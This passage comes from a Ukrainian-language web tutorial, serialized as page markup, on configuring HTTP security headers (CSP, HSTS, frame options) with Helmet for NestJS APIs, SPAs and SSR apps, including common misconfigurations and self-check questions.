порушень\n",[5421,11775,11776],{"class":5423,"line":5560},[5421,11777,11778],{},"topk(5, sum by (blocked_uri) (csp_violations_total))\n",[5149,11780],{},[5084,11782,11784],{"id":11783},"security-headers-для-різних-типів-застосунків","Security Headers для різних типів застосунків",[5232,11786,11788],{"id":11787},"rest-api-json-only","REST API (JSON only)",[5089,11790,11791],{},"Для чистого JSON API (без HTML frontend):",[5412,11793,11795],{"className":5485,"code":11794,"language":5487,"meta":5417,"style":5417},"app.use(\n  helmet({\n    contentSecurityPolicy: false, \u002F\u002F Не потрібен для JSON API\n    hsts: {\n      maxAge: 31536000,\n      includeSubDomains: true,\n    },\n    frameguard: { action: 'deny' },\n    noSniff: true,\n    referrerPolicy: { policy: 'no-referrer' },\n    permissionsPolicy: {\n      features: {\n        camera: [\"'none'\"],\n        microphone: [\"'none'\"],\n        geolocation: [\"'none'\"],\n      },\n    },\n  })\n);\n",[5325,11796,11797,11807,11813,11825,11831,11839,11847,11851,11864,11872,11885,11891,11897,11907,11917,11927,11931,11935,11939],{"__ignoreMap":5417},[5421,11798,11799,11801,11803,11805],{"class":5423,"line":5424},[5421,11800,6320],{"class":5509},[5421,11802,5601],{"class":5505},[5421,11804,5634],{"class":5427},[5421,11806,6327],{"class":5505},[5421,11808,11809,11811],{"class":5423,"line":5498},[5421,11810,6332],{"class":5427},[5421,11812,6340],{"class":5505},[5421,11814,11815,11818,11820,11822],{"class":5423,"line":5525},[5421,11816,11817],{"class":5509},"    contentSecurityPolicy:",[5421,11819,9372],{"class":5434},[5421,11821,6106],{"class":5505},[5421,11823,11824],{"class":5494},"\u002F\u002F Не потрібен для JSON API\n",[5421,11826,11827,11829],{"class":5423,"line":5544},[5421,11828,7816],{"class":5509},[5421,11830,6348],{"class":5505},[5421,11832,11833,11835,11837],{"class":5423,"line":5560},[5421,11834,7823],{"class":5509},[5421,11836,7826],{"class":5665},[5421,11838,6381],{"class":5505},[5421,11840,11841,11843,11845],{"class":5423,"line":5567},[5421,11842,7837],{"class":5509},[5421,11844,7840],{"class":5434},[5421,11846,6381],{"class":5505},[5421,11848,11849],{"class":5423,"line":5582},[5421,11850,6610],{"class":5505},[5421,11852,11853,11855,11857,11860,11862],{"class":5423,"line":5615},[5421,11854,7411],{"class":5509},[5421,11856,5506],{"class":5505},[5421,11858,11859],{"class":5509},"action:",[5421,11861,7421],{"class":5430},[5421,11863,10009],{"class":5505},[5421,11865,11866,11868,11870],{"class":5423,"line":5620},[5421,11867,8324],{"class":5509},[5421,11869,7840],{"class":5434},[5421,11871,6381],{"class":5505},[5421,11873,11874,11876,11878,11880,11883],{"class":5423,"line":5626},[5421,11875,8487],{"class":5509},[5421,11877,5506],{"class":5505},[5421,11879,10003],{"class":5509},[5421,11881,11882],{"class":5430}," 'no-referrer'",[5421,11884,10009],{"class":5505},[5421,11886,11887,11889],{"class":5423,"line":5645},[5421,11888,8829],{"class":5509},[5421,11890,6348],{"class":5505},[5421,11892,11893,11895],{"class":5423,"line":5650},[5421,11894,8836],{"class":5509},[5421,11896,6348],{"class":5505},[5421,11898,11899,11901,11903,11905],{"class":5423,"line":5671},[5421,11900,8843],{"class":5509},[5421,11902,6356],{"class":5505},[5421,11904,6571],{"class":5430},[5421,11906,6699],{"class":5505},[5421,11908,11909,11911,11913,11915],{"class":5423,"line":5677},[5421,11910,8858],{"class":5509},[5421,11912,6356],{"class":5505},[5421,11914,6571],{"class":5430},[5421,11916,6699],{"class":5505},[5421,11918,11919,11921,11923,11925],{"class":5423,"line":6424},[5421,11920,8873],{"class":5509},[5421,11922,6356],{"class":5505},[5421,11924,6571],{"class":5430},[5421,11926,6699],{"class":5505},[5421,11928,11929],{"class":5423,"line":6435},[5421,11930,8936],{"class":5505},[5421,11932,11933],{"class":5423,"line":6443},[5421,11934,6610],{"class":5505},[5421,11936,11937],{"class":5423,"line":6448},[5421,11938,6616],{"class":5505},[5421,11940,11941],{"class":5423,"line":6456},[5421,11942,5612],{"class":5505},[5089,11944,11945,11948],{},[5099,11946,11947],{},"Чому CSP не потрібен:"," JSON API не завантажує scripts, styles чи інші ресурси — лише повертає дані.",[5232,11950,11952],{"id":11951},"spa-з-окремим-frontend","SPA з окремим frontend",[5089,11954,11955],{},"Якщо backend (NestJS) та frontend (React\u002FVue) розгорнуті на різних доменах:",[5089,11957,11958],{},[5099,11959,11960],{},"Backend (API):",[5412,11962,11964],{"className":5485,"code":11963,"language":5487,"meta":5417,"style":5417},"\u002F\u002F api.example.com\napp.use(\n  helmet({\n    contentSecurityPolicy: false, \u002F\u002F Frontend налаштовує свій CSP\n    hsts: { maxAge: 31536000, includeSubDomains: true },\n    frameguard: { action: 'deny' },\n  })\n);\n",[5325,11965,11966,11971,11981,11987,11998,12018,12030,12034],{"__ignoreMap":5417},[5421,11967,11968],{"class":5423,"line":5424},[5421,11969,11970],{"class":5494},"\u002F\u002F api.example.com\n",[5421,11972,11973,11975,11977,11979],{"class":5423,"line":5498},[5421,11974,6320],{"class":5509},[5421,11976,5601],{"class":5505},[5421,11978,5634],{"class":5427},[5421,11980,6327],{"class":5505},[5421,11982,11983,11985],{"class":5423,"line":5525},[5421,11984,6332],{"class":5427},[5421,11986,6340],{"class":5505},[5421,11988,11989,11991,11993,11995],{"class":5423,"line":5544},[5421,11990,11817],{"class":5509},[5421,11992,9372],{"class":5434},[5421,11994,6106],{"class":5505},[5421,11996,11997],{"class":5494},"\u002F\u002F Frontend налаштовує свій CSP\n",[5421,11999,12000,12002,12004,12007,12009,12011,12014,12016],{"class":5423,"line":5560},[5421,12001,7816],{"class":5509},[5421,12003,5506],{"class":5505},[5421,12005,12006],{"class":5509},"maxAge:",[5421,12008,7826],{"class":5665},[5421,12010,6106],{"class":5505},[5421,12012,12013],{"class":5509},"includeSubDomains:",[5421,12015,7840],{"class":5434},[5421,12017,10009],{"class":5505},[5421,12019,12020,12022,12024,12026,12028],{"class":5423,"line":5567},[5421,12021,7411],{"class":5509},[5421,12023,5506],{"class":5505},[5421,12025,11859],{"class":5509},[5421,12027,7421],{"class":5430},[5421,12029,10009],{"class":5505},[5421,12031,12032],{"class":5423,"line":5582},[5421,12033,6616],{"class":5505},[5421,12035,12036],{"class":5423,"line":5615},[5421,12037,5612],{"class":5505},[5089,12039,12040],{},[5099,12041,12042],{},"Frontend (Nginx або CDN):",[5412,12044,12048],{"className":12045,"code":12046,"language":12047,"meta":5417,"style":5417},"language-nginx shiki shiki-themes light-plus dark-plus dark-plus","# app.example.com\nadd_header Content-Security-Policy \"default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com; connect-src https:\u002F\u002Fapi.example.com\" always;\nadd_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;\nadd_header X-Frame-Options \"DENY\" always;\nadd_header X-Content-Type-Options \"nosniff\" always;\n","nginx",[5325,12049,12050,12055,12060,12065,12070],{"__ignoreMap":5417},[5421,12051,12052],{"class":5423,"line":5424},[5421,12053,12054],{},"# app.example.com\n",[5421,12056,12057],{"class":5423,"line":5498},[5421,12058,12059],{},"add_header Content-Security-Policy \"default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com; connect-src https:\u002F\u002Fapi.example.com\" always;\n",[5421,12061,12062],{"class":5423,"line":5525},[5421,12063,12064],{},"add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;\n",[5421,12066,12067],{"class":5423,"line":5544},[5421,12068,12069],{},"add_header X-Frame-Options \"DENY\" always;\n",[5421,12071,12072],{"class":5423,"line":5560},[5421,12073,12074],{},"add_header X-Content-Type-Options \"nosniff\" always;\n",[5232,12076,12078],{"id":12077},"ssr-застосунок-nextjs-nuxt","SSR застосунок (Next.js, Nuxt)",[5089,12080,12081],{},"Для Server-Side Rendered застосунків з динамічним контентом:",[5412,12083,12085],{"className":5485,"code":12084,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\nimport crypto from 'crypto';\n\napp.use((req, res, next) => {\n  const nonce = crypto.randomBytes(16).toString('base64');\n  res.locals.cspNonce = nonce;\n\n  res.setHeader(\n    'Content-Security-Policy',\n    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https:\u002F\u002Fapi.example.com`\n  );\n\n  next();\n});\n\napp.use(helmet({ contentSecurityPolicy: false })); \u002F\u002F CSP вже налаштований вище\n",[5325,12086,12087,12091,12103,12107,12135,12163,12182,12186,12196,12203,12217,12222,12226,12233,12237,12241],{"__ignoreMap":5417},[5421,12088,12089],{"class":5423,"line":5424},[5421,12090,5495],{"class":5494},[5421,12092,12093,12095,12097,12099,12101],{"class":5423,"line":5498},[5421,12094,5502],{"class":5501},[5421,12096,6865],{"class":5509},[5421,12098,5552],{"class":5501},[5421,12100,6870],{"class":5430},[5421,12102,5522],{"class":5505},[5421,12104,12105],{"class":5423,"line":5525},[5421,12106,5564],{"emptyLinePlaceholder":5563},[5421,12108,12109,12111,12113,12115,12118,12120,12122,12124,12126,12128,12130,12133],{"class":5423,"line":5544},[5421,12110,6320],{"class":5509},[5421,12112,5601],{"class":5505},[5421,12114,5634],{"class":5427},[5421,12116,12117],{"class":5505},"((",[5421,12119,6915],{"class":5509},[5421,12121,6106],{"class":5505},[5421,12123,6924],{"class":5509},[5421,12125,6106],{"class":5505},[5421,12127,6933],{"class":5509},[5421,12129,5864],{"class":5505},[5421,12131,12132],{"class":5434},"=>",[5421,12134,6348],{"class":5505},[5421,12136,12137,12139,12141,12143,12145,12147,12149,12151,12153,12155,12157,12159,12161],{"class":5423,"line":5560},[5421,12138,5585],{"class":5434},[5421,12140,6952],{"class":5588},[5421,12142,5592],{"class":5505},[5421,12144,6957],{"class":5509},[5421,12146,5601],{"class":5505},[5421,12148,6962],{"class":5427},[5421,12150,5607],{"class":5505},[5421,12152,6967],{"class":5665},[5421,12154,6970],{"class":5505},[5421,12156,6973],{"class":5427},[5421,12158,5607],{"class":5505},[5421,12160,6978],{"class":5430},[5421,12162,5612],{"class":5505},[5421,12164,12165,12168,12170,12172,12174,12176,12178,12180],{"class":5423,"line":5567},[5421,12166,12167],{"class":5509},"  res",[5421,12169,5601],{"class":5505},[5421,12171,7000],{"class":5509},[5421,12173,5601],{"class":5505},[5421,12175,7005],{"class":5509},[5421,12177,5592],{"class":5505},[5421,12179,6641],{"class":5509},[5421,12181,5522],{"class":5505},[5421,12183,12184],{"class":5423,"line":5582},[5421,12185,5564],{"emptyLinePlaceholder":5563},[5421,12187,12188,12190,12192,12194],{"class":5423,"line":5615},[5421,12189,12167],{"class":5509},[5421,12191,5601],{"class":5505},[5421,12193,7029],{"class":5427},[5421,12195,6327],{"class":5505},[5421,12197,12198,12201],{"class":5423,"line":5620},[5421,12199,12200],{"class":5430},"    'Content-Security-Policy'",[5421,12202,6381],{"class":5505},[5421,12204,12205,12208,12210,12212,12214],{"class":5423,"line":5626},[5421,12206,12207],{"class":5430},"    `default-src 'self'; script-src 'self' 'nonce-",[5421,12209,5892],{"class":5434},[5421,12211,6641],{"class":5509},[5421,12213,5897],{"class":5434},[5421,12215,12216],{"class":5430},"'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https:\u002F\u002Fapi.example.com`\n",[5421,12218,12219],{"class":5423,"line":5645},[5421,12220,12221],{"class":5505},"  );\n",[5421,12223,12224],{"class":5423,"line":5650},[5421,12225,5564],{"emptyLinePlaceholder":5563},[5421,12227,12228,12231],{"class":5423,"line":5671},[5421,12229,12230],{"class":5427},"  next",[5421,12232,5683],{"class":5505},[5421,12234,12235],{"class":5423,"line":5677},[5421,12236,7563],{"class":5505},[5421,12238,12239],{"class":5423,"line":6424},[5421,12240,5564],{"emptyLinePlaceholder":5563},[5421,12242,12243,12245,12247,12249,12251,12253,12256,12259,12261,12264],{"class":5423,"line":6435},[5421,12244,6320],{"class":5509},[5421,12246,5601],{"class":5505},[5421,12248,5634],{"class":5427},[5421,12250,5607],{"class":5505},[5421,12252,5639],{"class":5427},[5421,12254,12255],{"class":5505},"({ ",[5421,12257,12258],{"class":5509},"contentSecurityPolicy:",[5421,12260,9372],{"class":5434},[5421,12262,12263],{"class":5505}," })); ",[5421,12265,12266],{"class":5494},"\u002F\u002F CSP вже налаштований вище\n",[5232,12268,12270],{"id":12269},"застосунки-з-iframe-oauth-widgets","Застосунки з iframe (OAuth, Widgets)",[5089,12272,12273],{},"Якщо ваш застосунок вбудовується у iframe (наприклад, OAuth login popup):",[5412,12275,12277],{"className":5485,"code":12276,"language":5487,"meta":5417,"style":5417},"app.use(\n  helmet({\n    frameguard: false, \u002F\u002F Вимкнути X-Frame-Options\n    contentSecurityPolicy: {\n      directives: {\n        defaultSrc: [\"'self'\"],\n        frameAncestors: [\n          \"'self'\",\n          \"https:\u002F\u002Foauth-provider.com\",\n          \"https:\u002F\u002Fpartner-site.com\",\n        ],\n      },\n    },\n  })\n);\n",[5325,12278,12279,12289,12295,12306,12312,12319,12330,12337,12344,12351,12358,12363,12367,12371,12375],{"__ignoreMap":5417},[5421,12280,12281,12283,12285,12287],{"class":5423,"line":5424},[5421,12282,6320],{"class":5509},[5421,12284,5601],{"class":5505},[5421,12286,5634],{"class":5427},[5421,12288,6327],{"class":5505},[5421,12290,12291,12293],{"class":5423,"line":5498},[5421,12292,6332],{"class":5427},[5421,12294,6340],{"class":5505},[5421,12296,12297,12299,12301,12303],{"class":5423,"line":5525},[5421,12298,7411],{"class":5509},[5421,12300,9372],{"class":5434},[5421,12302,6106],{"class":5505},[5421,12304,12305],{"class":5494},"\u002F\u002F Вимкнути X-Frame-Options\n",[5421,12307,12308,12310],{"class":5423,"line":5544},[5421,12309,11817],{"class":5509},[5421,12311,6348],{"class":5505},[5421,12313,12314,12317],{"class":5423,"line":5560},[5421,12315,12316],{"class":5509},"      directives:",[5421,12318,6348],{"class":5505},[5421,12320,12321,12324,12326,12328],{"class":5423,"line":5567},[5421,12322,12323],{"class":5509},"        defaultSrc:",[5421,12325,6356],{"class":5505},[5421,12327,6359],{"class":5430},[5421,12329,6699],{"class":5505},[5421,12331,12332,12335],{"class":5423,"line":5582},[5421,12333,12334],{"class":5509},"        frameAncestors:",[5421,12336,6373],{"class":5505},[5421,12338,12339,12342],{"class":5423,"line":5615},[5421,12340,12341],{"class":5430},"          \"'self'\"",[5421,12343,6381],{"class":5505},[5421,12345,12346,12349],{"class":5423,"line":5620},[5421,12347,12348],{"class":5430},"          \"https:\u002F\u002Foauth-provider.com\"",[5421,12350,6381],{"class":5505},[5421,12352,12353,12356],{"class":5423,"line":5626},[5421,12354,12355],{"class":5430},"          \"https:\u002F\u002Fpartner-site.com\"",[5421,12357,6381],{"class":5505},[5421,12359,12360],{"class":5423,"line":5645},[5421,12361,12362],{"class":5505},"        ],\n",[5421,12364,12365],{"class":5423,"line":5650},[5421,12366,8936],{"class":5505},[5421,12368,12369],{"class":5423,"line":5671},[5421,12370,6610],{"class":5505},[5421,12372,12373],{"class":5423,"line":5677},[5421,12374,6616],{"class":5505},[5421,12376,12377],{"class":5423,"line":6424},[5421,12378,5612],{"class":5505},[5149,12380],{},[5084,12382,12384],{"id":12383},"типові-помилки-при-налаштуванні-security-headers","Типові помилки при налаштуванні Security Headers",[5232,12386,12388],{"id":12387},"помилка-1-csp-блокує-hmr-у-розробці","Помилка 1: CSP блокує HMR у розробці",[5089,12390,12391,12394],{},[5099,12392,12393],{},"Симптом:"," Vite\u002FWebpack Hot Module Replacement не працює.",[5089,12396,12397,12400],{},[5099,12398,12399],{},"Причина:"," CSP блокує WebSocket з'єднання для HMR.",[5089,12402,12403],{},[5099,12404,7939],{},[5412,12406,12408],{"className":5485,"code":12407,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\nconst isDev = process.env.NODE_ENV === 'development';\n\napp.use(\n  helmet({\n    contentSecurityPolicy: isDev\n      ? false \u002F\u002F Вимкнути у dev режимі\n      : {\n          directives: {\n            defaultSrc: [\"'self'\"],\n            scriptSrc: [\"'self'\", \"https:\u002F\u002Fcdn.example.com\"],\n          },\n        },\n  })\n);\n",[5325,12409,12410,12414,12440,12444,12454,12460,12467,12477,12482,12489,12500,12515,12520,12525,12529],{"__ignoreMap":5417},[5421,12411,12412],{"class":5423,"line":5424},[5421,12413,5495],{"class":5494},[5421,12415,12416,12418,12421,12423,12425,12427,12429,12431,12433,12435,12438],{"class":5423,"line":5498},[5421,12417,8072],{"class":5434},[5421,12419,12420],{"class":5588}," isDev",[5421,12422,5592],{"class":5505},[5421,12424,8080],{"class":5509},[5421,12426,5601],{"class":5505},[5421,12428,8085],{"class":5509},[5421,12430,5601],{"class":5505},[5421,12432,8090],{"class":5588},[5421,12434,8093],{"class":5505},[5421,12436,12437],{"class":5430},"'development'",[5421,12439,5522],{"class":5505},[5421,12441,12442],{"class":5423,"line":5525},[5421,12443,5564],{"emptyLinePlaceholder":5563},[5421,12445,12446,12448,12450,12452],{"class":5423,"line":5544},[5421,12447,6320],{"class":5509},[5421,12449,5601],{"class":5505},[5421,12451,5634],{"class":5427},[5421,12453,6327],{"class":5505},[5421,12455,12456,12458],{"class":5423,"line":5560},[5421,12457,6332],{"class":5427},[5421,12459,6340],{"class":5505},[5421,12461,12462,12464],{"class":5423,"line":5567},[5421,12463,11817],{"class":5509},[5421,12465,12466],{"class":5509}," isDev\n",[5421,12468,12469,12472,12474],{"class":5423,"line":5582},[5421,12470,12471],{"class":5505},"      ? ",[5421,12473,8170],{"class":5434},[5421,12475,12476],{"class":5494}," \u002F\u002F Вимкнути у dev режимі\n",[5421,12478,12479],{"class":5423,"line":5615},[5421,12480,12481],{"class":5505},"      : {\n",[5421,12483,12484,12487],{"class":5423,"line":5620},[5421,12485,12486],{"class":5509},"          directives:",[5421,12488,6348],{"class":5505},[5421,12490,12491,12494,12496,12498],{"class":5423,"line":5626},[5421,12492,12493],{"class":5509},"            defaultSrc:",[5421,12495,6356],{"class":5505},[5421,12497,6359],{"class":5430},[5421,12499,6699],{"class":5505},[5421,12501,12502,12505,12507,12509,12511,12513],{"class":5423,"line":5645},[5421,12503,12504],{"class":5509},"            scriptSrc:",[5421,12506,6356],{"class":5505},[5421,12508,6359],{"class":5430},[5421,12510,6106],{"class":5505},[5421,12512,10567],{"class":5430},[5421,12514,6699],{"class":5505},[5421,12516,12517],{"class":5423,"line":5650},[5421,12518,12519],{"class":5505},"          },\n",[5421,12521,12522],{"class":5423,"line":5671},[5421,12523,12524],{"class":5505},"        },\n",[5421,12526,12527],{"class":5423,"line":5677},[5421,12528,6616],{"class":5505},[5421,12530,12531],{"class":5423,"line":6424},[5421,12532,5612],{"class":5505},[5232,12534,12536],{"id":12535},"помилка-2-hsts-на-localhost","Помилка 2: HSTS на localhost",[5089,12538,12539,12541,12542,12545],{},[5099,12540,12393],{}," Браузер блокує доступ до ",[5325,12543,12544],{},"http:\u002F\u002Flocalhost:3000"," після увімкнення HSTS.",[5089,12547,12548,12550],{},[5099,12549,12399],{}," HSTS примушує HTTPS, але localhost зазвичай використовує HTTP.",[5089,12552,12553],{},[5099,12554,7939],{},[5412,12556,12558],{"className":5485,"code":12557,"language":5487,"meta":5417,"style":5417},"const isProduction = process.env.NODE_ENV === 'production';\n\napp.use(\n  helmet({\n    hsts: isProduction\n      ? { maxAge: 31536000, includeSubDomains: true }\n      : false, \u002F\u002F Вимкнути у dev\n  })\n);\n",[5325,12559,12560,12584,12588,12598,12604,12610,12628,12639,12643],{"__ignoreMap":5417},[5421,12561,12562,12564,12566,12568,12570,12572,12574,12576,12578,12580,12582],{"class":5423,"line":5424},[5421,12563,8072],{"class":5434},[5421,12565,8075],{"class":5588},[5421,12567,5592],{"class":5505},[5421,12569,8080],{"class":5509},[5421,12571,5601],{"class":5505},[5421,12573,8085],{"class":5509},[5421,12575,5601],{"class":5505},[5421,12577,8090],{"class":5588},[5421,12579,8093],{"class":5505},[5421,12581,8096],{"class":5430},[5421,12583,5522],{"class":5505},[5421,12585,12586],{"class":5423,"line":5498},[5421,12587,5564],{"emptyLinePlaceholder":5563},[5421,12589,12590,12592,12594,12596],{"class":5423,"line":5525},[5421,12591,6320],{"class":5509},[5421,12593,5601],{"class":5505},[5421,12595,5634],{"class":5427},[5421,12597,6327],{"class":5505},[5421,12599,12600,12602],{"class":5423,"line":5544},[5421,12601,6332],{"class":5427},[5421,12603,6340],{"class":5505},[5421,12605,12606,12608],{"class":5423,"line":5560},[5421,12607,7816],{"class":5509},[5421,12609,8125],{"class":5509},[5421,12611,12612,12615,12617,12619,12621,12623,12625],{"class":5423,"line":5567},[5421,12613,12614],{"class":5505},"      ? { ",[5421,12616,12006],{"class":5509},[5421,12618,7826],{"class":5665},[5421,12620,6106],{"class":5505},[5421,12622,12013],{"class":5509},[5421,12624,7840],{"class":5434},[5421,12626,12627],{"class":5505}," }\n",[5421,12629,12630,12632,12634,12636],{"class":5423,"line":5582},[5421,12631,8167],{"class":5505},[5421,12633,8170],{"class":5434},[5421,12635,6106],{"class":5505},[5421,12637,12638],{"class":5494},"\u002F\u002F Вимкнути у dev\n",[5421,12640,12641],{"class":5423,"line":5615},[5421,12642,6616],{"class":5505},[5421,12644,12645],{"class":5423,"line":5620},[5421,12646,5612],{"class":5505},[5089,12648,12649,12652],{},[5099,12650,12651],{},"Якщо вже спіймали помилку:"," видаліть HSTS для localhost у браузері:",[5697,12654,12655,12661,12666],{},[5096,12656,12657,12658],{},"Chrome: відкрийте ",[5325,12659,12660],{},"chrome:\u002F\u002Fnet-internals\u002F#hsts",[5096,12662,12663,12664],{},"У розділі \"Delete domain security policies\" введіть ",[5325,12665,5790],{},[5096,12667,12668],{},"Натисніть \"Delete\"",[5232,12670,12672],{"id":12671},"помилка-3-csp-блокує-inline-styles-у-css-in-js","Помилка 3: CSP блокує inline styles у CSS-in-JS",[5089,12674,12675,12677],{},[5099,12676,12393],{}," Styled-components або Emotion не застосовують стилі.",[5089,12679,12680,12682],{},[5099,12681,12399],{}," CSP блокує inline styles за замовчуванням.",[5089,12684,12685,12687,12688,6630,12690,5482],{},[5099,12686,7939],{}," Додайте ",[5325,12689,6241],{},[5325,12691,6045],{},[5412,12693,12695],{"className":5485,"code":12694,"language":5487,"meta":5417,"style":5417},"contentSecurityPolicy: {\n  directives: {\n    styleSrc: [\"'self'\", \"'unsafe-inline'\"], \u002F\u002F Для CSS-in-JS\n  },\n}\n",[5325,12696,12697,12703,12709,12727,12731],{"__ignoreMap":5417},[5421,12698,12699,12701],{"class":5423,"line":5424},[5421,12700,6337],{"class":7967},[5421,12702,7971],{"class":5505},[5421,12704,12705,12707],{"class":5423,"line":5498},[5421,12706,10979],{"class":7967},[5421,12708,7971],{"class":5505},[5421,12710,12711,12714,12716,12718,12720,12722,12724],{"class":5423,"line":5525},[5421,12712,12713],{"class":7967},"    styleSrc",[5421,12715,9198],{"class":5505},[5421,12717,6359],{"class":5430},[5421,12719,6106],{"class":5505},[5421,12721,6738],{"class":5430},[5421,12723,6362],{"class":5505},[5421,12725,12726],{"class":5494},"\u002F\u002F Для CSS-in-JS\n",[5421,12728,12729],{"class":5423,"line":5544},[5421,12730,7558],{"class":5505},[5421,12732,12733],{"class":5423,"line":5560},[5421,12734,5674],{"class":5505},[5089,12736,12737,12740],{},[5099,12738,12739],{},"Альтернатива (безпечніша):"," використовуйте nonce для кожного стилю (потребує інтеграції з бібліотекою CSS-in-JS).",[5232,12742,12744],{"id":12743},"помилка-4-csp-блокує-google-fonts","Помилка 4: CSP блокує Google Fonts",[5089,12746,12747,12749],{},[5099,12748,12393],{}," Шрифти з Google Fonts не завантажуються.",[5089,12751,12752,12754,12755,5937,12758,5601],{},[5099,12753,12399],{}," CSP не дозволяє завантаження з ",[5325,12756,12757],{},"fonts.googleapis.com",[5325,12759,12760],{},"fonts.gstatic.com",[5089,12762,12763],{},[5099,12764,7939],{},[5412,12766,12768],{"className":5485,"code":12767,"language":5487,"meta":5417,"style":5417},"contentSecurityPolicy: {\n  directives: {\n    styleSrc: [\"'self'\", \"https:\u002F\u002Ffonts.googleapis.com\"],\n    fontSrc: [\"'self'\", \"https:\u002F\u002Ffonts.gstatic.com\"],\n  },\n}\n",[5325,12769,12770,12776,12782,12797,12812,12816],{"__ignoreMap":5417},[5421,12771,12772,12774],{"class":5423,"line":5424},[5421,12773,6337],{"class":7967},[5421,12775,7971],{"class":5505},[5421,12777,12778,12780],{"class":5423,"line":5498},[5421,12779,10979],{"class":7967},[5421,12781,7971],{"class":5505},[5421,12783,12784,12786,12788,12790,12792,12795],{"class":5423,"line":5525},[5421,12785,12713],{"class":7967},[5421,12787,9198],{"class":5505},[5421,12789,6359],{"class":5430},[5421,12791,6106],{"class":5505},[5421,12793,12794],{"class":5430},"\"https:\u002F\u002Ffonts.googleapis.com\"",[5421,12796,6699],{"class":5505},[5421,12798,12799,12802,12804,12806,12808,12810],{"class":5423,"line":5544},[5421,12800,12801],{"class":7967},"    fontSrc",[5421,12803,9198],{"class":5505},[5421,12805,6359],{"class":5430},[5421,12807,6106],{"class":5505},[5421,12809,9600],{"class":5430},[5421,12811,6699],{"class":5505},[5421,12813,12814],{"class":5423,"line":5560},[5421,12815,7558],{"class":5505},[5421,12817,12818],{"class":5423,"line":5567},[5421,12819,5674],{"class":5505},[5232,12821,12823],{"id":12822},"помилка-5-x-frame-options-конфліктує-з-csp-frame-ancestors","Помилка 5: X-Frame-Options конфліктує з CSP frame-ancestors",[5089,12825,12826,12828],{},[5099,12827,12393],{}," Браузер показує попередження про конфлікт заголовків.",[5089,12830,12831,7940,12833,12835,12836,12838],{},[5099,12832,12399],{},[5325,12834,5113],{}," та CSP ",[5325,12837,6149],{}," виконують одну функцію.",[5089,12840,12841,12843],{},[5099,12842,7939],{}," Використовуйте лише CSP (сучасніший підхід):",[5412,12845,12847],{"className":5485,"code":12846,"language":5487,"meta":5417,"style":5417},"app.use(\n  helmet({\n    frameguard: false, \u002F\u002F Вимкнути X-Frame-Options\n    contentSecurityPolicy: {\n      directives: {\n        frameAncestors: [\"'self'\"], \u002F\u002F Використовувати CSP\n      },\n    },\n  })\n);\n",[5325,12848,12849,12859,12865,12875,12881,12887,12900,12904,12908,12912],{"__ignoreMap":5417},[5421,12850,12851,12853,12855,12857],{"class":5423,"line":5424},[5421,12852,6320],{"class":5509},[5421,12854,5601],{"class":5505},[5421,12856,5634],{"class":5427},[5421,12858,6327],{"class":5505},[5421,12860,12861,12863],{"class":5423,"line":5498},[5421,12862,6332],{"class":5427},[5421,12864,6340],{"class":5505},[5421,12866,12867,12869,12871,12873],{"class":5423,"line":5525},[5421,12868,7411],{"class":5509},[5421,12870,9372],{"class":5434},[5421,12872,6106],{"class":5505},[5421,12874,12305],{"class":5494},[5421,12876,12877,12879],{"class":5423,"line":5544},[5421,12878,11817],{"class":5509},[5421,12880,6348],{"class":5505},[5421,12882,12883,12885],{"class":5423,"line":5560},[5421,12884,12316],{"class":5509},[5421,12886,6348],{"class":5505},[5421,12888,12889,12891,12893,12895,12897],{"class":5423,"line":5567},[5421,12890,12334],{"class":5509},[5421,12892,6356],{"class":5505},[5421,12894,6359],{"class":5430},[5421,12896,6362],{"class":5505},[5421,12898,12899],{"class":5494},"\u002F\u002F Використовувати CSP\n",[5421,12901,12902],{"class":5423,"line":5582},[5421,12903,8936],{"class":5505},[5421,12905,12906],{"class":5423,"line":5615},[5421,12907,6610],{"class":5505},[5421,12909,12910],{"class":5423,"line":5620},[5421,12911,6616],{"class":5505},[5421,12913,12914],{"class":5423,"line":5626},[5421,12915,5612],{"class":5505},[5149,12917],{},[5084,12919,12921],{"id":12920},"інтерактивні-запитання-для-самоперевірки","Інтерактивні запитання для самоперевірки",[12923,12924,12925,13113,13198],"accordion",{},[12926,12927,12930,12942,12950,12970,12977,12988,12993],"accordion-item",{"icon":12928,"label":12929},"i-lucide-help-circle","❓ Чому CSP з 'unsafe-inline' для scriptSrc майже не надає захисту від XSS?",[5089,12931,12932,12935,12936,7600,12939,12941],{},[5099,12933,12934],{},"Content Security Policy"," розроблена для блокування виконання небажаного JavaScript коду. Основна загроза XSS — це впровадження ",[5099,12937,12938],{},"inline scripts",[5325,12940,5988],{},") через некоректну фільтрацію користувацького вводу.",[5089,12943,12944,12945,12947,12948,5482],{},"Якщо ви додаєте ",[5325,12946,6241],{}," до ",[5325,12949,6633],{},[5412,12951,12953],{"className":5485,"code":12952,"language":5487,"meta":5417,"style":5417},"scriptSrc: [\"'self'\", \"'unsafe-inline'\"]\n",[5325,12954,12955],{"__ignoreMap":5417},[5421,12956,12957,12959,12961,12963,12965,12967],{"class":5423,"line":5424},[5421,12958,6633],{"class":7967},[5421,12960,9198],{"class":5505},[5421,12962,6359],{"class":5430},[5421,12964,6106],{"class":5505},[5421,12966,6738],{"class":5430},[5421,12968,12969],{"class":5505},"]\n",[5089,12971,12972,12973,12976],{},"…то CSP ",[5099,12974,12975],{},"дозволить виконання будь-яких inline scripts",", включаючи зловмисні, впроваджені через XSS вразливість.",[5089,12978,12979,7940,12982,12984,12985,12987],{},[5099,12980,12981],{},"Висновок:",[5325,12983,6241],{}," нівелює основну перевагу CSP. Використовуйте його лише для ",[5325,12986,6637],{}," (CSS-in-JS бібліотеки) або замініть inline scripts на nonce\u002Fhash базовані підходи.",[5089,12989,12990],{},[5099,12991,12992],{},"Безпечна альтернатива:",[5412,12994,12996],{"className":5485,"code":12995,"language":5487,"meta":5417,"style":5417},"\u002F\u002F Генерувати nonce для кожного запиту\nconst nonce = crypto.randomBytes(16).toString('base64');\n\n\u002F\u002F CSP\nscriptSrc: [\"'self'\", `'nonce-${nonce}'`]\n\n\u002F\u002F HTML\n\u003Cscript nonce=\"\u003C%= nonce %>\">\n  